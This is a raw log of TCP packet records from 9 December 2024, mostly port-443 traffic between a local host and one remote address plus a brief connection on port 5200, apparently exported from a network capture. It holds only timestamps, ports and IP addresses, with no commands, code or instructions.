Dec 9, 2024 07:37:08.889014006 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.889087915 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.889097929 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.889147043 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.921972036 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.921994925 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.922193050 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.922204018 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.922254086 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.943069935 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.943085909 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.943156004 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.943162918 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.943214893 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.996747971 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.996766090 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.996922970 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.996932030 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.996977091 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.095451117 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.095470905 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.095566988 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.095592976 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.095634937 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.109061003 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.109077930 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.109158993 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.109186888 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.109224081 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.122193098 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.122210979 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.122267008 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.122277021 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.122312069 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.134397984 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.134414911 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.134493113 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.134501934 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.134540081 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.144781113 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.144798994 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.144860983 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.144867897 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.144911051 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.170211077 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.170228004 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.170300961 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.170325041 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.170367002 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.181543112 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.181561947 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.181618929 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.181626081 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.181663990 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.283307076 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.283334017 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.283401012 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.283426046 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.283490896 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.293967962 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.293989897 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.294074059 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.294095993 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.294137955 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.303798914 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.303814888 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.303949118 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.303957939 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.304001093 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.311911106 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.311932087 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.311964035 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.311973095 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.312010050 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.312037945 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.320596933 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.320616007 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.320674896 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.320682049 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.320715904 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.329960108 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.329977036 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.330065012 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.330073118 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.330115080 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.363219976 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.363236904 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.363293886 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.363301992 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.363346100 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.468498945 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.468523026 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.468602896 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.468616962 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.468663931 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.476490974 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.476506948 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.476583004 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.476588964 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.476641893 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.483577013 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.483597040 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.483633995 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.483639002 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.483673096 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.483695984 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.491852999 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.491868973 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.491923094 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.491930008 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.491977930 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.499938965 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.499953985 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.500005007 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.500011921 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.500057936 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.507643938 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.507659912 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.507714987 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.507724047 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.507756948 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.515707970 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.515723944 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.515794039 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.515801907 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.515845060 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.518568039 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.555844069 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.555860996 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.555927038 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.555934906 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.555977106 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.660774946 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.660794020 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.660871983 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.660878897 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.660923958 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.668560028 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.668576002 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.668629885 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.668637991 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.668673038 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.672079086 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.672137976 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.672142982 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.672167063 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:09.672208071 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:09.682405949 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:26.993963957 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:26.993990898 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:26.994055033 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:26.994199038 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:26.994239092 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:26.994285107 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:26.995843887 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:26.995856047 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:26.995975971 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:26.995995045 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:29.868977070 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:29.980658054 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:29.980726004 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:29.985352993 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:29.985363960 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:29.985570908 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:29.988420963 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:29.988492966 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:29.989191055 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:30.032015085 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.079329967 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.108510017 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:30.470489979 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.470669031 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.471802950 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.471811056 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.472057104 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.472893953 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.515336037 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.662792921 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.662825108 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.662832975 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.662844896 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.662877083 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.663109064 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.663109064 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.663126945 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.663184881 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.781657934 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.781675100 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.781745911 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.781769991 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.781807899 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.848726988 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.848745108 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.848989964 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.849008083 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.849056005 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.945588112 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.945605993 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.945696115 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.945712090 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.945756912 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.978574038 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.978589058 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.978698015 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:30.978708982 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:30.978754044 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.010188103 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.010204077 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.010288954 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.010304928 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.010350943 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.070868969 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.070895910 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.071012020 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.071024895 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.071074009 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.140767097 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.140779972 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.140897036 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.140908957 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.140944958 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.145601988 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.145627975 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.145643950 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.145740032 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.145760059 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.145823956 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.160907984 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.160923004 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.160989046 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.161003113 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.161046028 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.178467989 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.178483963 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.178654909 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.178663969 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.178708076 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.192404032 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.192420006 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.192595959 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.192604065 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.192650080 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.236828089 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.236845970 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.236908913 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.236917973 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.236958027 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.248415947 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.248431921 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.248488903 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.248497009 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.248538971 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.257803917 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.257822990 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.257885933 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.257896900 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.257940054 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.327208042 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.327224016 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.327291965 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.327305079 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.327388048 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.330542088 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.330574989 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.330624104 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.330635071 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.330667019 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.330681086 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.338021994 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.338037014 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.338121891 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.338135004 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.338176012 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.347039938 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.347054005 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.347105026 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.347115040 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.347152948 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.357253075 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.357269049 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.357325077 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.357336044 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.357372046 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.366894960 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.366913080 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.366970062 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.366981030 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.367016077 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.377285957 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.377301931 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.377366066 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.377377987 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.377417088 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.426959991 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.426976919 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.427042961 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.427052975 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.427093029 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.428333998 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.428350925 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.428400040 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.428416967 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.428452015 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.439188004 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.439203978 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.439260960 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.439271927 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.439311028 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.458471060 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.458487988 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.458544970 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.458554029 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.458596945 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.482528925 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.482544899 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.482624054 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.482636929 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.482680082 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.518706083 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.518727064 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.518779993 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.518791914 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.518821001 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.518835068 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.525489092 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.525505066 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.525677919 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.525686026 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.525727987 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.533046007 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.533066034 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.533111095 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.533118010 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.533143997 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.533162117 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.536470890 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.536492109 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.536544085 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.536551952 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.536597013 CET	49737	443	192.168.2.4	154.216.20.243
